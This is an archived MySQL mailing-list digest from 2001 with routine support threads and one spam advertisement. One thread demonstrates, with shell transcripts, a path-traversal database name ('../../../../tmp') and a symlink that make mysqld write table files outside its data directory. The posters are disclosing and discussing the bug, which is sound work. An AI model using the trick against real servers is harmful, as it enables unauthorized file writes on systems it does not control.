RV: RPM with berkely-bd
Hi, I have downloaded the standard binary RPM for i386 (3.22.35) but it doesnt include the Berkeley-DB library for the use the transaction in MYSQL. Could you send me a stable version of MySQL in standar binary RPM with transactions by using the Berkeley DB library ? Thanks you.
Re: How to create a script file?
Hi, Type all of the create statement in a text file (i.e. sql_file) and then just call mysql [database] sql_file from the prompt. As for the editor, you can use any common text file editor available (xemacs, vi, pico, nano). Regards, Jorge MySQL Development Team __ ___ __ __ / |/ /_ __/ __/ __ \/ / Jorge del Conde [EMAIL PROTECTED] / /|_/ / // /\ \/ /_/ / /__ MySQL AB, http://www.mysql.com/ /_/ /_/\_, /___/\___\_\/ Mexico City, Mexico ___/ - Original Message - From: "Vasu Thirumalai" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Wednesday, March 21, 2001 10:48 PM Subject: How to create a script file? Hi!! I want to have a sql script to create the tables. i.e. have all the lines that I will type at the sql prompt in a script file called create_tables or something and execute that file to create the tables !! How to do ?Is there an editor for mysql where I can type out these lines. Please help me. Thank you Harini - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: RV: RPM with berkely-bd
None exists. To create your own rpm is very simple: Download source rpm Install source rpm with rpm -i Files will appear in /usr/src/redhat tree Change to /usr/src/redhat/SPECS Modify mysql.spec file to include BDB (just uncomment line on - easy to find) Next build with rpm --bb --target=i686 mysql.spec (mysql.spec in the file lying in the SPECS dierctory) Wait a while! RPM's can be found in /usr/src/redhat/RPMS/i686 Install as normal Once installed, change to /usr/src/redhat/BUILD/mysqlxxx/mysql-test and run mysql-test-run to test your binary. Next delete the build tree from the /usr/src/redhat/BUILD directory. Done. -- Richard Ellerbrock [EMAIL PROTECTED] "serconsur" [EMAIL PROTECTED] 2001/03/22 10:31:35 Hi, I have downloaded the standard binary RPM for i386 (3.22.35) but it doesn t include the Berkeley-DB library for the use the transaction in MYSQL. Could you send me a stable version of MySQL in standar binary RPM with transactions by using the Berkeley DB library ? Thanks you. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Comment
When I have created a comment on a table with "create table . comment = 'this is a comment' How do I view the comment afterwards? ...Jesper - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Subsidies, Grants, Loans, Financing
MG PUBLISHING 4865 HWY 138,R.R 1 ST-ANDREWS WEST ONTARIO, KOC 2A0 1-800-301-8093 http://www.mgpublishing.net PRESS RELEASE CANADIAN SUBSIDY DIRECTORY YEAR 2001 EDITION Legal Deposit-National Library of Canada ISBN 2-922870-01-4 M.G. Publishing is offering to the public a revised edition of the Canadian Subsidy Directory, a guide containing more than 2300 direct and indirect financial subsidies, grants and loans offered by government departments and agencies, foundations, associations and organizations. In this new 2001 edition all programs are well described. The Canadian Subsidy Directory is the most comprehensive tool to start up a business, improve existent activities, set up a business plan, or obtain assistance from experts in fields such as: Industry, transport, agriculture, communications, municipal infrastructure, education, import- export, labor, construction and renovation, the service sector, hi-tech industries, research and development, joint ventures, arts, cinema, theatre, music and recording industry, the self employed, contests, and new talents. Assistance from and for foundations and associations, guidance to prepare a business plan, market surveys, computers, and much more! To obtain the Canadian Subsidy Directory call 1-800-301-8093. Consult our web site at: http:// www.mgpublishing.net To remove your e-mail address from our mailing list, please choose one of the following options: If the link bellow is all on the same line, simply click on it. http://www.mgpublishing.net/r.asp?[EMAIL PROTECTED] Reply to this email with ' Remove ' in the subject Use the form at the link bellow http://www.mgpublishing.net/retrait.asp - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
AW: MyODBC driver window keeps popping up...
Hi Gert! Thanks for the very, very excellent tip - worked just great! Now I can start on the PHP coding :-)) Bye! Frank Hacker ([EMAIL PROTECTED]) EDV Abteilung / IT Dept. Gebr. Reinfurt Wuerzburg Miniaturkugellager Gneisenaustr. 10-11 97074 Wuerzburg Germany Tel.: +49 (0) 931 7952 354 Fax: +49 (0) 931 7952 300 Internet: www.grw.de -Ursprngliche Nachricht- Von: Hof, Gert van 't [SMTP:[EMAIL PROTECTED]] Gesendet am: Donnerstag, 22. Mrz 2001 08:26 An: 'Frank Hacker'; '[EMAIL PROTECTED]' Cc: '[EMAIL PROTECTED]' Betreff: RE: MyODBC driver window keeps popping up... Hi When i create a ODBC-DSN, there are fields where i can fill in a user name and password. When i filled these in, excel (and Delphi) don't ask for usernames/passwords. Regards Gert -Original Message- From: Frank Hacker [SMTP:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 8:17 AM To: '[EMAIL PROTECTED]' Cc: '[EMAIL PROTECTED]' Subject:MyODBC driver window keeps popping up... Hi! How do I keep the MyODBC driver window (labeled "TDX mysql Driver connect") from being displayed when I connect to MySQL via ODBC? This behaviour makes it impossible to automate the task of updating a MySQL Database from an Access 97 Database via ODBC using a Macro in Access, since the window pops up and waits for someone to press the OK button before the macro can continue. I have checked the option for "don't prompt on connect" without success. I have also tried to pass "OPTION=16" along with the DSN-connect string, also without success. Is there any way to do this? Our setup: NT 4.0 SP5, mysql-3.23.35-win, myodbc-2.50.36-nt, MS-DAC 2.5, Access 97 SP2 We have an Access database that contains all the info to our technical drawings, which I would like to extract and display on a web-page in our intranet (LAMP) - I wasn't able to get ODBC under Linux to work, so I installed MySQL under NT and exported the Access tables to MySQL. These tables change constantly, so the export also must be performed at least daily, and most important, automatically at night. For this purpose I wrote a batch file like this: net stop mysql delete old mysql tables net start mysql call access with parameter /x macro-name The Access-macro has exactly 3 commands and looks like this (in German, since its German NT and Access -- hope that's not a problem :-)) Aktion: TransferDatenbank Transfertyp: Exportieren Datenbankformat: ODBC-Datenbank Datenbankname: ODBC;DSN=Zeichnungen;DB=Zeichnungen;SERVER=edv;PORT=;OPTION=16;STMT=;;TA BLE=documents Objekttyp: Tabelle Quelle: documents Ziel: documents Nur Struktur: Nein Aktion: TransferDatenbank Transfertyp: Exportieren Datenbankformat: ODBC-Datenbank Datenbankname: ODBC;DSN=Zeichnungen;DB=Zeichnungen;SERVER=edv;PORT=;OPTION=16;STMT=;;TA BLE=files Objekttyp: Tabelle Quelle: files Ziel: files Nur Struktur: Nein Aktion: Verlassen Optionen: Beenden Everything actually works surprisingly well, except for this problem with the popup window... it would be really great if there was a solution for this... Thanks in advance! Ciau... -- Frank Hacker ([EMAIL PROTECTED]) EDV Abteilung / IT Dept. Gebr. Reinfurt Wuerzburg Miniaturkugellager Gneisenaustr. 10-11 97074 Wuerzburg Germany Tel.: +49 (0) 931 7952 354 Fax: +49 (0) 931 7952 300 Internet: www.grw.de - Please check "http://www.mysql.com/Manual_chapter/manual_toc.html" before posting. To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, send a message to the address shown in the List-Unsubscribe header of this message. If you cannot see it, e-mail [EMAIL PROTECTED] instead. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Error Log Entries
Hi ! I've just upgraded to the new mysql server 3.23.32 and in the error log I now see 'Aborted connection ... (Got an error reading communication packets)'. I have found information about this problem such as using the binary release instead of the source release. I have now done this and it still appears in the log, the last thing it suggested was to check the patch level of Solaris. I am running on a Sun Solaris 2.7 machine, does anybody know what the recommended patch level is to stop this problem happening ? Thanks. Regards, Marvin Wright Senior Developer http://www.travelselect.com/ his message has been checked for all known viruses by MessageLabs. This message is intended for the stated recipients only and may be confidential. Opinions expressed in this email do not necessarily reflect the opinions of GlobePost Travel or Travelselect.com. If you are not the intended recipient of this message, please notify the sender immediately.
Re: FW: potential vulnerability of mysqld running with root privileges
Hi, On Wed, Mar 21, 2001 at 08:39:55AM +0100, Benjamin Pflugmann wrote: Sorry to contradict, but have a look: newton:~ mysql -u root -e "select version()" +---+ | version() | +---+ | 3.23.33 | +---+ 8:26:25 newton:~ sudo -u mysql touch /tmp/test # just created a file owned by mysql-user 8:26:45 newton:~ ln -sf /tmp/test /tmp/yikes.MYI 8:26:54 newton:~ ls -l /tmp [...] -rw-r--r--1 mysqlmysql 0 Mar 21 08:26 test lrwxrwxrwx1 philemon philemon9 Mar 21 08:28 yikes.MYI - /tmp/test 8:26:57 newton:~ mysql ../../../../tmp -e "create table yikes(w int(4))" The problem in my opinion is allowing full pathnames in the database name, regardless of symbolic links. If someone can write to your database directory, you're in trouble anyway. To do the above (without symlinks), you will need to have MySQL root privileges. When I do it as non-privileged user, I get: user@host:~$ /opt/mysql-3.23/bin/mysql -u joe -p -e 'create table testy (id int)' ../../../../tmp Enter password: ERROR 1044: Access denied for user: 'radius@localhost' to database '../../../../tmp' Doing this as a MySQL privileged user (root), I get: user@host:~$ /opt/mysql-3.23/bin/mysql -u root -p -e 'create table testx (id int)' ../../../../tmp Enter password: user@host:~$ ls -l /tmp/testx* -rw-rw 1 mysqlmysql 0 Mar 22 11:25 /tmp/testx.MYD -rw-rw 1 mysqlmysql 1024 Mar 22 11:25 /tmp/testx.MYI -rw-rw 1 mysqlmysql 8550 Mar 22 11:25 /tmp/testx.frm The inconsistency is that even as MySQL root, I do get an error when doing show tables on this 'database'/directory: user@host:~$ /opt/mysql-3.23/bin/mysql -u root -p -e 'show tables' ../../../../tmp Enter password: ERROR 1102 at line 1: Incorrect database name '../../../../tmp' This is in 3.23.33 with an unrelated bugfix. MySQL should be consistent in its checking of database names and IMHO allowing full pathnames in a database name is asking for trouble. Regards, Fred. -- Fred van Engen XO Communications B.V. email: [EMAIL PROTECTED] Televisieweg 2 tel: +31 36 5462400 1322 AC Almere fax: +31 36 5462424 The Netherlands - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Use of MySQL with BIND 9
"Forrest" == Forrest Aldrich [EMAIL PROTECTED] writes: Forrest I would like to know if anyone has worked with Forrest implementing a MySQL database backend with BIND 9. I'm Forrest interested in table design, implementation, how/if Forrest dynamic dns is stored there, etc. The BIND users list had a query about this a month or two ago. I don't think there was a follow-up, but it might be worth checking. If you do find anything, I'd be interested to see it. Cheers, -- Martin Oldfield, AdamsNames Ltd. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: mysql_convert_table_format ignores my.cnf password setting
[EMAIL PROTECTED] writes: Description: mysql_convert_table_format ignores password setting for client in my.cnf. How-To-Repeat: create ~/.my.cnf with this: [client] password=SomeThing with that as your account's password. run 'mysql_convert_table_format test' this error comes back: Can't connect to database vkmlm: Access denied for user: 'khera@localhost' (Using password: NO) Fix: supply --password=SomeThing on mysql_convert_table_format command line. Submitter-Id: submitter ID Originator: Vivek Khera Organization: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Vivek Khera, Ph.D.Khera Communications, Inc. Internet: [EMAIL PROTECTED] Rockville, MD +1-240-453-8497 AIM: vivekkhera Y!: vivek_khera http://www.khera.org/~vivek/ MySQL support: [none | licence | email support | extended email support ]none Synopsis: Severity: non-critical Priority: low Category: mysql Class: sw-bug Release:mysql-3.23.35 (Source distribution) Server: /usr/local/bin/mysqladmin Ver 8.18 Distrib 3.23.35, for -freebsd4.2 on i386 Copyright (C) 2000 MySQL AB MySQL Finland AB TCX DataKonsult AB This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL license Server version 3.23.35 Protocol version 10 Connection Localhost via UNIX socket UNIX socket /var/db/mysql/mysql.sock Uptime: 1 day 21 hours 55 min 50 sec Threads: 1 Questions: 75823 Slow queries: 0 Opens: 80 Flush tables: 1 Open tables: 20 Queries per second avg: 0.459 Environment: System: FreeBSD yertle.kciLink.com 4.2-STABLE FreeBSD 4.2-STABLE #0: Mon Jan 29 14:08:27 EST 2001 [EMAIL PROTECTED]:/u/yertle2/usr.obj/amd/onceler/u/onceler1/usr/src/sys/YERTLE i386 Some paths: /usr/bin/perl /usr/bin/make /usr/local/bin/gmake /usr/bin/gcc /usr/bin/cc GCC: Using builtin specs. gcc version 2.95.2 19991024 (release) Compilation info: CC='cc' CFLAGS='-O -pipe -ffast-math -mfancy-math-387' CXX='c++' CXXFLAGS='-O -pipe -ffast-math -mfancy-math-387 -felide-constructors -fno-rtti -fno-exceptions' LDFLAGS='' LIBC: -r--r--r-- 1 root wheel 1169446 Jan 29 14:09 /usr/lib/libc.a lrwxr-xr-x 1 root wheel 9 Jan 29 14:10 /usr/lib/libc.so - libc.so.4 -r--r--r-- 1 root wheel 559516 Jan 29 14:10 /usr/lib/libc.so.4 Configure command: ./configure --localstatedir=/var/db/mysql --without-perl --without-debug --without-readline --without-bench --with-mit-threads=no --with-libwrap --with-low-memory --with-unix-socket-path=/var/db/mysql/mysql.sock --enable-assembler --with-berkeley-db --prefix=/usr/local i386--freebsd4.2 Perl: This is perl, version 5.005_03 built for i386-freebsd Hi! You are right. But as it is Perl script, it truly depends on DBI that you have and MySQL C library on which it is built. Regards, Sinisa __ _ _ ___ == MySQL AB /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic /*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED] /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus /*/ /*/ /*/\*\_/*/ \*\_/*/ |*| /*/^^^\*\^^^ /*/ \*\Developers Team - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Second Request - Limit Filed Input
Shankar Unni writes: I don't see implementation of "CHECK" CONSTRAINTS in the TODO list (e.g. CONSTRAINT val_ck check (val = 0 and val =5) Is this planned? I do see FOREIGN KEY constraints on the 4.0 list, so there is a way to do this kind of checking once this is implemented: * Create an associated "range-check" table with a primary key column, and add rows for the values you want to allow in your table column. * Put a foreign key constraint on your column to point at that table. This will at least ensure that you get a constraint violation if you attempt to insert something illegal. This works only for small ranges or other enumeration types (integer or string). E.g. create table check_phase_number (phase integer); insert into check_phase_number values (1),(2),(3),(4),(5); create table check_state_abbrev (state char(2)); insert into check_state_abbrev values ('AK'),('AL'),('CA'), ... ('VT'),('WA'); create table my_state_migration ( phase integer constraint phase_fk foreign key references check_phase_number(phase), state char(2) constraint state_fk foreign key references check_state_abbrev(state), ... ); Hi! We shall definitely consider putting it in 4.* branch. Regards, Sinisa __ _ _ ___ == MySQL AB /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic /*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED] /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus /*/ /*/ /*/\*\_/*/ \*\_/*/ |*| /*/^^^\*\^^^ /*/ \*\Developers Team - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Bugs in 3.23.35
denis writes: Any ETA on corrected RPM's? Should be out this weekend or in the beginning of next week. Regards, Sinisa __ _ _ ___ == MySQL AB /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic /*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED] /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus /*/ /*/ /*/\*\_/*/ \*\_/*/ |*| /*/^^^\*\^^^ /*/ \*\Developers Team - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Add: Problem removing multiple udf functions ...
Stephan Skusa writes: Additional Info: 010322 5:15:35 Verbindungsabbruch 13 zu db: 'sleid' user: 'sleid' host: `archimedes.lippe-net.de' (Fehler beim Lesen eines Commu mysqld got signal 11; The manual section 'Debugging a MySQL server' tells you how to use a stack trace and/or the core file to produce a readable backtrace that may help in finding out why mysqld died Attemping backtrace. You can use the following information to find out where mysqld died. If you see no messages after this, something went terribly wrong stack range sanity check, ok, backtrace follows 0x4009365d 0x48e8e85f 0x400183eb 0x4000a801 0x400189c1 0x40018411 0x812b4b1 0x80c5999 0x80c67e2 0x80c27f3 0x80c1b57 stack trace successful, now will try to get some variables. Some pointers may be invalid and cause dump abort thd-query at 0x873e310 = DROP FUNCTION list_menu thd-thread_id = 54 successfully dumped variables, if you ran with --log take a look at the details of what thread 54 did to cause the crash. In some cases of really bad corruption, this value can be invalid Please use the information above to create a repeatable test case for the crash, and send it to [EMAIL PROTECTED] Number of processes running now: 1 mysqld process hanging, pid 30175 - killed 010322 05:16:56 mysqld restarted /usr/local/mysql-3.23.33/libexec/mysqld: Warten auf Verbindungen. Hi! I have tried dropping an UDF in 3.23.35 and did not have any problem. Please try our binary distro for 3.23.35 or 36, which should be soon out. Regards, Sinisa __ _ _ ___ == MySQL AB /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic /*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED] /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus /*/ /*/ /*/\*\_/*/ \*\_/*/ |*| /*/^^^\*\^^^ /*/ \*\Developers Team - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Web Page Hit Counter
I am trying to log activity on a web site and then display the activity. I want to be able to break it down by hour eventually. Right now I would like to get the total hits and the hits for today. I have created a table like the one below. create table hits (page_id INTEGER, htime DATETIME); I can then use the queries below to get the information. Total hits on page Select page_id, count(*) as hcount from hits group by page_id order by page_id Hits today on page Select page_id, count(*) as hcount from hits where DAYOFYEAR(now())=DAYOFYEAR(htime) group by page_id order by page_id My question is there a way to perform both queries at one time and generate a table with both total and daily information. One problem is the the returned table have a different number of rows, because page X might not have been accessed today. This means it does not show up in the second table. If both queries are done together the daily count show be 0, in the combined table. Also, I looked in the manual and could not find anywhere wether GROUP BY orders the data based on the grouping or do I need the ORDER BY clause. Hope this is clear. Thanks Edward - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
LOAD DATA INFILE
I've been looking into the help files provided for this command, and couldn't see a reference to the thing I'm wanting to do (so I've assumed it can't be done). BUT, just wanted confirmation in case there's a way to do this: I'm expecting to get a CSV file soon that I need to import into my mySQL database. Trouble is, the CSV file includes lots of columns that I don't need, and some that I need in separate tables. I saw in the TODO list that you will be offering the ability to choose which columns get included, but can you do a join function on the LOAD DATA INFILE? If not, would the only option be to generate new files (using FSO on NT) that are stripped down versions of the source file specific to each table? And then, to do the LOAD DATA multiple times with the new files? Hope this isn't the only option, as I don't want to have to script that as well! Thanks for your help, Daniel Newman. Bis-Web Ltd. Tel: 01993 880614 Fax: 01993 881625 The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
mysql database backup issue
Hello, could anyone explain me how to backup and in case of system crash restore the mysql database (main database where data about other databases, grants,users, etc. is kept)? Thanks in advance ! Regards, Saulius Gurklys mailto:[EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: (yet another) sock issue
Because it is my.cnf, not my.cfg. Also they need to be world readable. roger westin wrote: Have the same problem, nither the server or any client seems to read the my.cfg files, they are just going on the precompiled default value. Have tried to recomplie and alot off stuff but I always have to add the --socket /tmp/mysql.sock I got this problem after I installed the rpm clients and added the server by compiling an installing it. So ... Why isn't the rpm and installation source putting mysql in the same directory and have the same defaults. And how do you actualy make it read the my.cfg file? (shouldtn't it be read atomaticly?) /roger - Original Message - From: "Charles Mgnin" [EMAIL PROTECTED] To: "MYSQL" [EMAIL PROTECTED] Sent: Wednesday, March 21, 2001 9:24 AM Subject: (yet another) sock issue Although the my.cnf file specifies socket = /tmp/mysql.sock the server expects mysql.sock to reside in /var/lib/mysql [mysql@localhost]$ /usr/bin/mysqladmin -u root -p password Enter password: /usr/bin/mysqladmin: connect to server at 'localhost' failed error: 'Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (111)' Check that mysqld is running and that the socket: '/var/lib/mysql/mysql.sock' exists! Any thoughts ? - - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: ERROR 2002 question
The full path to the mysql.sock file must be readable, and searchable for the client to find and open the socket. Craig Cummings wrote: Hi there, I recently upgraded my Linux kernel to 2.4.2 and my perl DBI/DBD and now MySQL is behaving strangely. If I'm logged into my system as root I can see that the mysql server is up and running and I can access it just fine using either the root database login or a user login. However, if I'm logged into Linux as a regular user I get an "ERROR 2002: Can't connect to local MySQL server through socket 'var/lib/mysql/mysql.sock' (13)", even if I try to log in with the root database password. This is also the case when my CGI scripts attempt to access MySQL using a user login. I checked the documentation on this but it seems stranger than the described Error 2002 situations. The error log for the localhost does not show any record of the failed connections. Any idea what's going on here? Thanks, in advance, for your help. Regards, Craig Cummings, Ph.D. Relman Laboratory Stanford University School of Medicine Department of Microbiology and Immunology e-mail: [EMAIL PROTECTED] phone: 650-498-5998 fax:650-852-3291 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: MyODBC driver window keeps popping up...
Anybody know how to solve the Same Problem in Access 2K ? Cheers Chris = Original Message From Frank Hacker [EMAIL PROTECTED] = Hi Gert! Thanks for the very, very excellent tip - worked just great! Now I can start on the PHP coding :-)) Bye! Frank Hacker ([EMAIL PROTECTED]) EDV Abteilung / IT Dept. Gebr. Reinfurt Wuerzburg Miniaturkugellager Gneisenaustr. 10-11 97074 Wuerzburg Germany Tel.: +49 (0) 931 7952 354 Fax: +49 (0) 931 7952 300 Internet: www.grw.de -Ursprngliche Nachricht- Von: Hof, Gert van 't [SMTP:[EMAIL PROTECTED]] Gesendet am: Donnerstag, 22. Mrz 2001 08:26 An: 'Frank Hacker'; '[EMAIL PROTECTED]' Cc: '[EMAIL PROTECTED]' Betreff: RE: MyODBC driver window keeps popping up... Hi When i create a ODBC-DSN, there are fields where i can fill in a user name and password. When i filled these in, excel (and Delphi) don't ask for usernames/passwords. Regards Gert -Original Message- From: Frank Hacker [SMTP:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 8:17 AM To:'[EMAIL PROTECTED]' Cc:'[EMAIL PROTECTED]' Subject: MyODBC driver window keeps popping up... Hi! How do I keep the MyODBC driver window (labeled "TDX mysql Driver connect") from being displayed when I connect to MySQL via ODBC? This behaviour makes it impossible to automate the task of updating a MySQL Database from an Access 97 Database via ODBC using a Macro in Access, since the window pops up and waits for someone to press the OK button before the macro can continue. I have checked the option for "don't prompt on connect" without success. I have also tried to pass "OPTION=16" along with the DSN-connect string, also without success. Is there any way to do this? Our setup: NT 4.0 SP5, mysql-3.23.35-win, myodbc-2.50.36-nt, MS-DAC 2.5, Access 97 SP2 We have an Access database that contains all the info to our technical drawings, which I would like to extract and display on a web-page in our intranet (LAMP) - I wasn't able to get ODBC under Linux to work, so I installed MySQL under NT and exported the Access tables to MySQL. These tables change constantly, so the export also must be performed at least daily, and most important, automatically at night. For this purpose I wrote a batch file like this: net stop mysql delete old mysql tables net start mysql call access with parameter /x macro-name The Access-macro has exactly 3 commands and looks like this (in German, since its German NT and Access -- hope that's not a problem :-)) Aktion: TransferDatenbank Transfertyp: Exportieren Datenbankformat: ODBC-Datenbank Datenbankname: ODBC;DSN=Zeichnungen;DB=Zeichnungen;SERVER=edv;PORT=;OPTION=16;STMT=;;TA BLE=documents Objekttyp: Tabelle Quelle: documents Ziel: documents Nur Struktur: Nein Aktion: TransferDatenbank Transfertyp: Exportieren Datenbankformat: ODBC-Datenbank Datenbankname: ODBC;DSN=Zeichnungen;DB=Zeichnungen;SERVER=edv;PORT=;OPTION=16;STMT=;;TA BLE=files Objekttyp: Tabelle Quelle: files Ziel: files Nur Struktur: Nein Aktion: Verlassen Optionen: Beenden Everything actually works surprisingly well, except for this problem with the popup window... it would be really great if there was a solution for this... Thanks in advance! Ciau... -- Frank Hacker ([EMAIL PROTECTED]) EDV Abteilung / IT Dept. Gebr. Reinfurt Wuerzburg Miniaturkugellager Gneisenaustr. 10-11 97074 Wuerzburg Germany Tel.: +49 (0) 931 7952 354 Fax: +49 (0) 931 7952 300 Internet: www.grw.de - Please check "http://www.mysql.com/Manual_chapter/manual_toc.html" before posting. To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, send a message to the address shown in the List-Unsubscribe header of this message. If you cannot see it, e-mail [EMAIL PROTECTED] instead. - Please check "http://www.mysql.com/Manual_chapter/manual_toc.html" before posting. To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, send a message to the address shown in the List-Unsubscribe header of this message. If you cannot see it, e-mail [EMAIL PROTECTED] instead. This message is sent in confidence for the addressee only. It may contain privileged information. The contents are not to be disclosed to anyone other than the addressee. Unauthorised recipients are requested to preserve this confidentiality and to advise us of any errors in transmission. Thank you. Thank you. - Before posting, please check:
Re: question about moving datadir around
STIBS wrote: Hi list! I try to change my data dir from the default /var/lib/mysql to /usr/mysql . On a standard Suse install I did the following: - copying all databases cp -R * /usr/mysql - changing the datadir in /etc/my.cnf to /usr/mysql - mysql restart - works fine On my ded. server I have RedHat 7 running, I installed the downloaded 3.23.32 rpm and now I tried to move the datadir. My steps on RedHat: - copying all databases cp -R * /usr/mysql - there is no my.cnf in standard install, so I changed in the start script /etc/rc.d/init.d/mysql the line $datadir=/usr/mysql - mysql restart - demon gives up with the following statement in error log: "Can't find ./mysql/host.frm" but the file is there, also chowned to mysql:mysql ... next thing I did was setting up a symlink in /usr/mysql to the /var/lib/mysql/mysql directory ... that the demon gets the original data ... same comment in error log. Do you have a solution or a step by step manual for me? Any help is appreciated. Thanx alot! Michael When you copied the database, you probably did it as root. Now mysql doe not own the directories and data. chown -R mysql /usr/mysql - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Graphical modelling
Hi, I'm new to the list so please excuse my ignorance! Does anybody know of any graphical ways of modelling the tables, keys, relationships etc which will then automatically generate the appropriate database? I'm looking at RAD with a MySQL back end. Thanks Claire. _ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Altering tables
